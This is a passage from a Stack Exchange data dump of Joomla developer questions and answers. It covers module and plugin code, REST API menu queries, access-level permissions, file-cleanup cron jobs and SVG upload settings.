$row-&amp;gt;uebersetz4;?&amp;gt;&#xA;&#xA;&amp;lt;?php echo $row-&amp;gt;uebersetz5;?&amp;gt;&#xA;&#xA;&amp;lt;?php echo $row-&amp;gt;uebersetz6;?&amp;gt;    &#xA;&#xA;&amp;lt;?php echo $row-&amp;gt;uebersetz7;?&amp;gt;&#xA;&#xA;&amp;lt;?php echo $row-&amp;gt;uebersetz8;?&amp;gt;&#xA;&#xA;&amp;lt;?php echo $row-&amp;gt;uebersetz9;?&amp;gt;&#xA;&#xA;&amp;lt;?php echo $row-&amp;gt;uebersetz10;?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;  &#xA;&#xA;&amp;lt;/p&amp;gt;     &#xA;&#xA;&amp;lt;?php&#xA;&#xA;}&#xA;else{&#xA;&#xA;&#xA;echo &amp;quot;&amp;lt;br&amp;gt; The searched word is not given in our database.&amp;quot;;&#xA;}&#xA;}&#xA;?&amp;gt;  &#xA; {/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Thank you in advance for your support and sorry for the long text!&lt;/p&gt;&#xA;" OwnerUserId="15964" LastEditorUserId="15964" LastEditDate="2021-12-20T09:37:44.620" LastActivityDate="2021-12-20T09:37:44.620" Title="Troubles with Implementation of self written Module for Joomla and Auto Suggest function which should be in Javascript" Tags="|php|module|javascript|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="31754" PostTypeId="1" CreationDate="2021-12-18T12:17:38.750" Score="0" ViewCount="30" Body="&lt;p&gt;I am wondering if there is a way (script/extension) to delete files from a folder after a certain file has reached the age of 30 days. For example, I have a folder which receives uploaded files daily. I want the files that have been there for 30 days to be deleted.&lt;/p&gt;&#xA;" OwnerUserId="15968" LastEditorUserId="12352" LastEditDate="2021-12-18T21:08:08.283" LastActivityDate="2021-12-21T12:20:53.197" Title="Periodically (monthly) delete files in a specific folder" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31755" PostTypeId="1" CreationDate="2021-12-20T08:56:13.553" Score="2" ViewCount="229" Body="&lt;p&gt;I can't guess how to get menu items from a specific menu via API.&lt;/p&gt;&#xA;&lt;p&gt;I use:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/alexandreelise/j4x-api-collection&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/alexandreelise/j4x-api-collection&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://documenter.getpostman.com/view/9617873/Szzj9yJy#6ac385da-724b-4b5b-b020-21c4d9fc9411&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://documenter.getpostman.com/view/9617873/Szzj9yJy#6ac385da-724b-4b5b-b020-21c4d9fc9411&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I get for example specific menu&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{{base_url}}/{{base_path}}/menus/{{app}}/{{menu_id}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But how to view menu items for this menu?&lt;/p&gt;&#xA;" OwnerUserId="15971" LastActivityDate="2024-01-13T01:06:25.720" Title="API - get menu items from specific menu" Tags="|joomla-4.x|restful-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31756" PostTypeId="2" ParentId="31755" CreationDate="2021-12-20T09:29:37.343" Score="0" Body="&lt;p&gt;I don't see a way to do this at the moment. You can only list all menu items per application:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{{base_url}}/{{base_path}}/menus/{{app}}/items&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-12-20T09:29:37.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31757" PostTypeId="1" CreationDate="2021-12-20T15:34:52.100" Score="2" ViewCount="86" Body="&lt;p&gt;I have made a custom component, also with help from component-creator.com. But I am struggling with display methods. For example I want to check something in the display method, but when I try to add that the display method isn't even called. it seems that it only calls from the base controller.&lt;/p&gt;&#xA;&lt;p&gt;I don't understand why it works like this.&lt;/p&gt;&#xA;&lt;p&gt;rootcomponent/controller.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// No direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;jimport('joomla.application.component.controller');&#xA;&#xA;use \Joomla\CMS\Factory;&#xA;&#xA;/**&#xA; * Class MatchesController&#xA; *&#xA; * @since  1.6&#xA; */&#xA;class MatchesController extends \Joomla\CMS\MVC\Controller\BaseController&#xA;{&#xA;    /**&#xA;     * Method to display a view.&#xA;     *&#xA;     * @param   boolean $cachable  If true, the view output will be cached&#xA;     * @param   mixed   $urlparams An array of safe url parameters and their variable types, for valid values see {@link JFilterInput::clean()}.&#xA;     *&#xA;     * @return  JController   This object to support chaining.&#xA;     *&#xA;     * @since    1.5&#xA;     * @throws Exception&#xA;     */&#xA;    public function display($cachable = false, $urlparams = false)&#xA;    {&#xA;        &#xA;        $app  = Factory::getApplication();&#xA;        $view = $app-&amp;gt;input-&amp;gt;getCmd('view', 'matches');&#xA;        $app-&amp;gt;input-&amp;gt;set('view', $view);&#xA;&#xA;        $user = Factory::getUser();&#xA;&#xA;        if ($user-&amp;gt;get('guest') == 1) {&#xA;            $this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_users&amp;amp;view=login&amp;amp;return=' . base64_encode(JUri::current()), &amp;quot;You must be logged in to view this content&amp;quot;));&#xA;            return;&#xA;        }&#xA;&#xA;        parent::display($cachable, $urlparams);&#xA;&#xA;        return $this;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;rootcomponent/controller/matches.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\MVC\Controller\BaseController;&#xA;&#xA;// No direct access.&#xA;defined('_JEXEC') or die;&#xA;&#xA;/**&#xA; * Matches list controller class.&#xA; *&#xA; * @since  1.6&#xA; */&#xA;class MatchesControllerMatches extends BaseController&#xA;{&#xA;    public function display($cachable = false, $urlparams = false)&#xA;    {&#xA;        echo &amp;quot;See if display function is called here&amp;quot;;&#xA;        die();&#xA;&#xA;    }&#xA;&#xA;    /**&#xA;     * Proxy for getModel.&#xA;     *&#xA;     * @param   string  $name    The model name. Optional.&#xA;     * @param   string  $prefix  The class prefix. Optional&#xA;     * @param   array   $config  Configuration array for model. Optional&#xA;     *&#xA;     * @return object   The model&#xA;     *&#xA;     * @since   1.6&#xA;     */&#xA;    public function &amp;amp;getModel($name = 'Matches', $prefix = 'MatchesModel', $config = array())&#xA;    {&#xA;        $model = parent::getModel($name, $prefix, array('ignore_request' =&amp;gt; true));&#xA;&#xA;        return $model;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;rootcomponent/matches.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use \Joomla\CMS\Factory;&#xA;use \Joomla\CMS\MVC\Controller\BaseController;&#xA;&#xA;// // Include dependancies&#xA;// // jimport('joomla.application.component.controller');&#xA;&#xA;JLoader::registerPrefix('Matches', JPATH_COMPONENT);&#xA;JLoader::register('MatchesController', JPATH_COMPONENT . '/controller.php');&#xA;&#xA;&#xA;// Execute the task.&#xA;$controller = BaseController::getInstance('Matches');&#xA;$controller-&amp;gt;execute(Factory::getApplication()-&amp;gt;input-&amp;gt;get('task'));&#xA;$controller-&amp;gt;redirect();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I don't know if you need more code?&lt;/p&gt;&#xA;" OwnerUserId="5642" LastEditorUserId="5642" LastEditDate="2021-12-20T16:16:10.533" LastActivityDate="2021-12-20T16:16:10.533" Title="Custom Component, display function is not called from specific view/controller" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="31758" PostTypeId="2" ParentId="31749" CreationDate="2021-12-20T17:44:15.203" Score="2" Body="&lt;p&gt;Do you want to do a fetch only from the news website (GET requests only) or do you need to push back information from your Joomla! 3 website eg (POST request) ?&lt;/p&gt;&#xA;&lt;p&gt;Joomla 3 HTTP Client is the same than the 1.x branch on Packagist &lt;a href=&quot;https://github.com/joomla-framework/http/tree/1.x-dev&quot; rel=&quot;nofollow noreferrer&quot;&gt;HTTP Client 1.x&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If what you want is GET only you might want to consider using com_newsfeeds and incoming rss feed.&lt;/p&gt;&#xA;&lt;p&gt;You could use something like &lt;a href=&quot;https://docs.techjoomla.com/joomla-rest-api/com-api-introduction/&quot; rel=&quot;nofollow noreferrer&quot;&gt;com_api for Joomla! 3&lt;/a&gt; to do this.&lt;/p&gt;&#xA;&lt;p&gt;One side note about security: Joomla 3.10.4 is already out you should consider backup your site and update to this version.&lt;/p&gt;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&lt;p&gt;I coded a plugin to get you up and running as an example to fetch articles from a news api like newsapi.org&lt;/p&gt;&#xA;&lt;p&gt;here is the revelant code of the plugin&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;&amp;lt;?php&#xA;declare(strict_types=1);&#xA;/**&#xA; * System - Examplenews&#xA; *&#xA; * @package    Examplenews&#xA; *&#xA; * @author     Alexandre ELISÉ &amp;lt;contact@alexapi.cloud&amp;gt;&#xA; * @copyright  Copyright(c) 2009 - 2021 Alexandre ELISÉ. All rights reserved&#xA; * @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA; * @link       https://alexapi.cloud&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Application\CMSApplication;&#xA;use Joomla\CMS\Http\Response;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\Input\Input;&#xA;use Joomla\Registry\Registry;&#xA;&#xA;/**&#xA; * Examplenews plugin.&#xA; *&#xA; * @package   Examplenews&#xA; * @since     0.1.0&#xA; */&#xA;class PlgSystemExamplenews extends CMSPlugin&#xA;{&#xA;    /**&#xA;     * Application object&#xA;     *&#xA;     * @var    CMSApplication&#xA;     * @since  0.1.0&#xA;     */&#xA;    protected ?CMSApplication $app = null;&#xA;&#xA;    /**&#xA;     * Database object&#xA;     *&#xA;     * @var    JDatabaseDriver&#xA;     * @since  0.1.0&#xA;     */&#xA;    protected ?JDatabaseDriver $db = null;&#xA;&#xA;    /**&#xA;     * @param $subject&#xA;     * @param $config&#xA;     */&#xA;    public function __construct(&amp;amp;$subject, $config = [])&#xA;    {&#xA;        $this-&amp;gt;autoloadLanguage = true;&#xA;        parent::__construct($subject, $config);&#xA;    }&#xA;&#xA;    /**&#xA;     * Fetch top-headlines articles from newsapi.org API using the Joomla! 3.10&#xA;     * Http Client and the StreamTransport&#xA;     * This is meant to be sample code as an example to guide you along the way to&#xA;     * achieve your goal&#xA;     * @return mixed&#xA;     */&#xA;    public function onAjaxExamplenews()&#xA;    {&#xA;        if ($this-&amp;gt;app-&amp;gt;isClient('administrator'))&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        $this-&amp;gt;handleRequest($this-&amp;gt;app-&amp;gt;input);&#xA;    }&#xA;&#xA;    public function onAfterInitialise()&#xA;    {&#xA;&#xA;        if ($this-&amp;gt;app-&amp;gt;isClient('administrator'))&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        $this-&amp;gt;handleRequest($this-&amp;gt;app-&amp;gt;input);&#xA;    }&#xA;&#xA;&#xA;    /**&#xA;     * Provide a way to test this method independently&#xA;     *&#xA;     * @param   \Joomla\Input\Input|null  $givenInput&#xA;     *&#xA;     * @return mixed&#xA;     */&#xA;    private function handleRequest(?Input $givenInput = null)&#xA;    {&#xA;        $input = $givenInput ?? $this-&amp;gt;app-&amp;gt;input;&#xA;&#xA;        //to be safe we should add a csrf-token verification&#xA;        // but since&#xA;        // a GET request is idempotent (does change with same input multiple times) we should be fine&#xA;        // If you feel it's insecuren, uncomment the next line&#xA;        // Session::checkToken('GET') || die(Text::_('JINVALID_TOKEN'));&#xA;&#xA;        $verb = strtoupper($input-&amp;gt;getMethod());&#xA;&#xA;        try&#xA;        {&#xA;            switch ($verb)&#xA;            {&#xA;                case 'GET':&#xA;&#xA;                    $uri = new Joomla\CMS\Uri\Uri('https://newsapi.org/v2/top-headlines');&#xA;&#xA;                    $uri-&amp;gt;setQuery(&#xA;                        [&#xA;                            'country'  =&amp;gt; 'ca',&#xA;                            'category' =&amp;gt; 'business', 'apiKey' =&amp;gt;&#xA;                                $this-&amp;gt;params-&amp;gt;get('apiKey', ''),&#xA;                        ]&#xA;                    );&#xA;&#xA;                    $response          = new Response;&#xA;                    $response-&amp;gt;headers = [&#xA;                        'Content-Type' =&amp;gt; 'application/json',&#xA;                    ];&#xA;                    $response-&amp;gt;code    = 200;&#xA;                    $response-&amp;gt;body    = file_get_contents((string) $uri);&#xA;&#xA;                    // Render the response&#xA;                    $this-&amp;gt;render($response);&#xA;                default:&#xA;                    throw new BadMethodCallException('HTTP Verb Unknown', 405);&#xA;            }&#xA;        }&#xA;        catch (Throwable $throwable)&#xA;        {&#xA;            header('Content-Type: application/json');&#xA;            echo (new Registry($throwable))-&amp;gt;toString();&#xA;            die;&#xA;        }&#xA;    }&#xA;&#xA;    /**&#xA;     * @param   \Joomla\CMS\Http\Response  $response&#xA;     *&#xA;     * @return void&#xA;     */&#xA;    private function render(Response $response)&#xA;    {&#xA;        // Clear headers first to prevent unexpected errors&#xA;        // then redefined custom ones in the render method&#xA;        $this-&amp;gt;app-&amp;gt;clearHeaders();&#xA;&#xA;        foreach ($response-&amp;gt;headers as $key =&amp;gt; $value)&#xA;        {&#xA;            header(sprintf('%s: %s', $key, $value));&#xA;        }&#xA;&#xA;        http_response_code($response-&amp;gt;code);&#xA;        echo $response-&amp;gt;body;&#xA;        die;&#xA;    }&#xA;}&#xA;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When using the default Http Client I found a weird behaviour not allowing me to successfully do get requests that's why I directly used file_get_contents and Joomla! Uri class to do the same thing more efficiently simpler and optimized for GET requests.&lt;/p&gt;&#xA;&lt;p&gt;You can use the fetched data in an ajax use case too on your joomla website after installing the sample plugin I provided.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;https://example.org/index.php?option=com_ajax&amp;amp;plugin=examplenews&amp;amp;group=system&amp;amp;format=raw&amp;amp;tmpl=component &#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;the plugin is on my GitHub for ease of use for you and other SO users. &lt;a href=&quot;https://github.com/alexandreelise/plg_system_examplenews/raw/master/plg_system_examplenews.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Direct download link&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/alexandreelise/plg_system_examplenews&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source code of the plugin on GitHub&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9588" LastEditorUserId="9588" LastEditDate="2022-01-05T02:52:14.853" LastActivityDate="2022-01-05T02:52:14.853" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="31759" PostTypeId="2" ParentId="31750" CreationDate="2021-12-21T01:56:26.387" Score="1" Body="&lt;p&gt;You can use the return part in the url to achieve want you want.&#xA;Basically, the return= is the base64encoded string of the last used url or whatever url you want.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;//To compute the return&#xA;$return = base64_encode(\JRoute::_('index.php?option=mycomponent&amp;amp;view=dashboard'));&#xA;&#xA;//To show what is the base64 encoded dashboard url&#xA;echo $return;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;&amp;lt;menuitem&#xA;        title=&amp;quot;COM_MYCOMPONENT_CONFIGURATION&amp;quot;&#xA;        type=&amp;quot;component&amp;quot;&#xA;        element=&amp;quot;com_config&amp;quot;&#xA;        link=&amp;quot;index.php?option=com_config&amp;amp;amp;view=component&amp;amp;amp;component=com_mycomponent&amp;amp;amp;path=&amp;amp;amp;return=PASTE_THE_CONTENT_OF_THE_BASE64_ENCODED_DASHBOARD_URL_HERE&amp;quot;&#xA;    /&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you cannot do it via php use an online tool to compute the base64 encoded version of your dashboard url then paste it after return=&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2021-12-21T01:56:26.387" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31760" PostTypeId="1" CreationDate="2021-12-21T06:31:35.410" Score="0" ViewCount="57" Body="&lt;p&gt;Virtuemart Call for price form submission allows user to got logged in to the frontend of the website if the user has a account with a submitted email id. how to get resolve this issue?&lt;/p&gt;&#xA;" OwnerUserId="15578" LastActivityDate="2024-01-17T08:06:55.870" Title="Virtuemart Call for price form submission allows user to got logged in to the frontend of the website" Tags="|joomla-3.x|virtuemart|cms|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31761" PostTypeId="1" CreationDate="2021-12-21T11:07:55.393" Score="1" ViewCount="54" Body="&lt;p&gt;Recently I am facing a challenge. I have a view and two layouts.&#xA;Say the view name is &lt;code&gt;form&lt;/code&gt; and the layouts are &lt;code&gt;edit&lt;/code&gt;, &lt;code&gt;edit-frame&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Now I want to render the &lt;code&gt;edit-frame&lt;/code&gt; layout into an &lt;code&gt;iframe&lt;/code&gt;. This is the situation and I can do it easily by using iframe src-&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;iframe src=&amp;quot;&amp;lt;?php echo Uri::root() . '/administrator/index.php?option=com_component&amp;amp;view=edit&amp;amp;layout=edit-frame'; ?&amp;gt;&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;em&gt;Now the problem is, I want to render the &lt;code&gt;edit-frame&lt;/code&gt; layout into a site template from the administrator panel. So, the view and the layout situated into the administrator and one layout of the view needs to render with site template.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I don't want to move the view into site component because the view only accessible to the logged in user.&lt;/p&gt;&#xA;" OwnerUserId="12609" LastActivityDate="2021-12-21T19:04:21.470" Title="Render an admin view to a site template in Joomla!" Tags="|joomla-3.x|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31762" PostTypeId="2" ParentId="31754" CreationDate="2021-12-21T12:20:53.197" Score="1" Body="&lt;p&gt;If your Joomla website is hosted on a Linux or Unix server, then you could create a cron job (a scheduled process) to run the following command every night:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;find /path/to/files* -mtime +30 -exec rm {} \;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It will find and remove (&amp;quot;rm&amp;quot;) all files in the folder that you specify and that have a modified time (&amp;quot;mtime&amp;quot;) that is older than 30 days.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2021-12-21T12:20:53.197" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31763" PostTypeId="2" ParentId="31749" CreationDate="2021-12-21T16:54:04.400" Score="0" Body="&lt;p&gt;The above answer is probably better but thought I'd share our approach.&lt;/p&gt;&#xA;&lt;p&gt;Our client uses an external site (not Joomla!) to process charity donations. So - we need to pull the total donated amount from this external site to put on their Joomla! site.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;External Site:&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/gDm9W.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gDm9W.png&quot; alt=&quot;External Site&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The external site doesn't have an API to pull from - so we fetch the external webpage via cURL and can load it via either module or our Joomla! Template.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NpEPG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NpEPG.png&quot; alt=&quot;Our Template&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As the external page is huge - we are creating a .txt file with the relevant total saved, and refreshing if it's older than 6 hours.&lt;/p&gt;&#xA;&lt;p&gt;We use &lt;a href=&quot;https://www.flexicontent.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;FLEXIcontent CCK&lt;/a&gt; to simplify our Joomla admin for the client - with a sponsorship URL field that triggers the code:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QD5lE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QD5lE.png&quot; alt=&quot;Admin&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So on each of our sponsor pages, the client enters the URL, and that fetches the results.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Code:&lt;/strong&gt;&#xA;&lt;a href=&quot;https://gist.github.com/iamrobert/0a19a6f43db017cff368ea244922052d&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/iamrobert/0a19a6f43db017cff368ea244922052d&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Joomla! has custom fields - so there isn't really anything unique to our code that couldn't be done via Joomla! Plus when I first started I just inserted it into our template index.php to understand the code.&lt;/p&gt;&#xA;" OwnerUserId="3485" LastActivityDate="2021-12-21T16:54:04.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31764" PostTypeId="2" ParentId="31761" CreationDate="2021-12-21T19:04:21.470" Score="1" Body="&lt;p&gt;If I understood your use case correctly, you can achieve this using a site component and implementing what is called accesslevel in Joomla. Access level is what the user &amp;quot;see&amp;quot; and permissions (acl/actions) are what the user can &amp;quot;do&amp;quot;.&#xA;In your case, as you don't want a non logged in user to &amp;quot;see&amp;quot; your view you have to add an &amp;quot;access&amp;quot; column in the database table of your resource let's say its the books table. it would be somthing like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;id | access | title | alias | isbn | cover&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But to be complete, you should also add asset_id column to handle permissions in order to have a more fine grained control on your resources in my example books&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;id | asset_id | access | title | alias | isbn | cover&#xA;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;By adding those two special columns, joomla provides you &amp;quot;see&amp;quot; and &amp;quot;do&amp;quot; out of the box with almost no code to add.&lt;/p&gt;&#xA;&lt;p&gt;The only thing is that now, where you want prevent some user to edit something,&#xA;you can use the core.edit and/or core.edit.own default joomla actions in your frontend component&lt;/p&gt;&#xA;&lt;p&gt;SIDE NOTE: You kinda named your view in a possibly conflicting way.&amp;quot;edit&amp;quot; is quite common. Use a more descriptive view name.&lt;/p&gt;&#xA;&lt;p&gt;Anyway here is the sample code for permissions in the view-model of joomla ideally it should be in the models only so you can prevent access site wide rather than just for this component. If any module or plugin access your code directly without the permissions in view.html.php that's kinda bad. So by moving permissions in the model you can control who has access to the resource you want to protect.&lt;/p&gt;&#xA;&lt;p&gt;in your view.html.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// before assigning any vars to the view&#xA;$currentJoomlaUser = \JFactory::getUser();&#xA;&#xA;// not having the correct permissions stop here&#xA;if ((!$currentJoomlaUser-&amp;gt;check('core.edit', 'com_component')) &#xA;|| (!$currentJoomlaUser-&amp;gt;check('core.edit.own','com_component')))&#xA; {&#xA;throw new RuntimeExpection('You are not allowed to access this resource',403);&#xA;}&#xA;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is the link to the official Joomla documentation for accesslevels and permissions to your component&lt;a href=&quot;https://docs.joomla.org/Adding_ACL_rules_to_your_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;Acl in your component&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2021-12-21T19:04:21.470" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31765" PostTypeId="2" ParentId="31686" CreationDate="2021-12-21T19:20:19.600" Score="2" Body="&lt;p&gt;I don't know if you figure it out yet. Hopefully you did, But just in case for other to want the answer. In Joomla 4 you have tod, in the media manager add &amp;quot;svg&amp;quot; to supported file extensions and &amp;quot;image/svg+xml&amp;quot; to the allowed mime types both without the quotes because by default Joomla 4 doesn't enable this.&#xA;SIDE NOTE: If you want your svg to fit ok use the same size and same viewbox as the default svg logo of cassiopeia. You can also use a multiple of this size (same ratio).&lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2021-12-21T19:20:19.600" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="31767" PostTypeId="2" ParentId="31755" CreationDate="2021-12-23T21:36:47.863" Score="0" Body="&lt;p&gt;In addition to what Sharky said, basically you need to add in Postman what is called a Api Test which is nothing more than javascript and the Chai JS library.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vssqz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vssqz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You see the tests tab&lt;/p&gt;&#xA;&lt;p&gt;You need to add this code in the test tab to filter out just the menu items of a given menutype. On my example site I have mainmenu and then I created using the API another site menu with menutype &amp;quot;menu&amp;quot;, then added a menu item to it again via the Api.&lt;/p&gt;&#xA;&lt;p&gt;Now I had:&lt;/p&gt;&#xA;&lt;p&gt;mainmenu:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;menutitem1&lt;/li&gt;&#xA;&lt;li&gt;menuitem2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;p&gt;menu:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;menuitem3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;With the following js code you can fetch only what you want using the tests tab of a request.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;pm.test(&amp;quot;My custom site menu only items&amp;quot;, () =&amp;gt; {&#xA;   const allMenuItems = pm.response.json();&#xA;   &#xA;   const menuTypeToFilterBy = 'menu';&#xA;&#xA;   let onlySpecificMenuItems = allMenuItems['data'].filter((item) =&amp;gt; {&#xA;       return item['attributes']['menutype'] === menuTypeToFilterBy;&#xA;   });&#xA;&#xA;   console.log(onlySpecificMenuItems);&#xA;   &#xA;   //TODO: Do whatever you want with this filtered result&#xA;&#xA;});&#xA;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2021-12-23T21:36:47.863" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31769" PostTypeId="1" CreationDate="2021-12-26T13:34:54.880" Score="0" ViewCount="36" Body="&lt;p&gt;I'm developing a joomla module, where I want to do some recalculation of the output, if the admin changes a specific module setting.&#xA;One way to implement this, would be to use an additional table, where the setting since the last call is saved and compared to the current setting. However this means, that I would need an additional table, which does not look elegant and simple to me. So I was wondering if there is a better way to realize this feature?&lt;/p&gt;&#xA;&lt;p&gt;To make it more clear: The admin can switch between OpenStreetMap and Google Maps. If he changes the field I need to make a search request during the next module call and save the result to the database.&lt;br /&gt;&#xA;Pseudo-Code Example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if(changed($params-&amp;gt;get('searchprovider')) == true){&#xA;$result = searchRequest();&#xA;saveResultToDatabase($result);&#xA;}&#xA;$dbResult = loadResultFromDatabase();&#xA;showResult($dbResult);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15984" LastEditorUserId="15984" LastEditDate="2021-12-27T15:15:51.537" LastActivityDate="2021-12-27T15:15:51.537" Title="Joomla Module Development: Check during runtime for a change module setting" Tags="|module|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
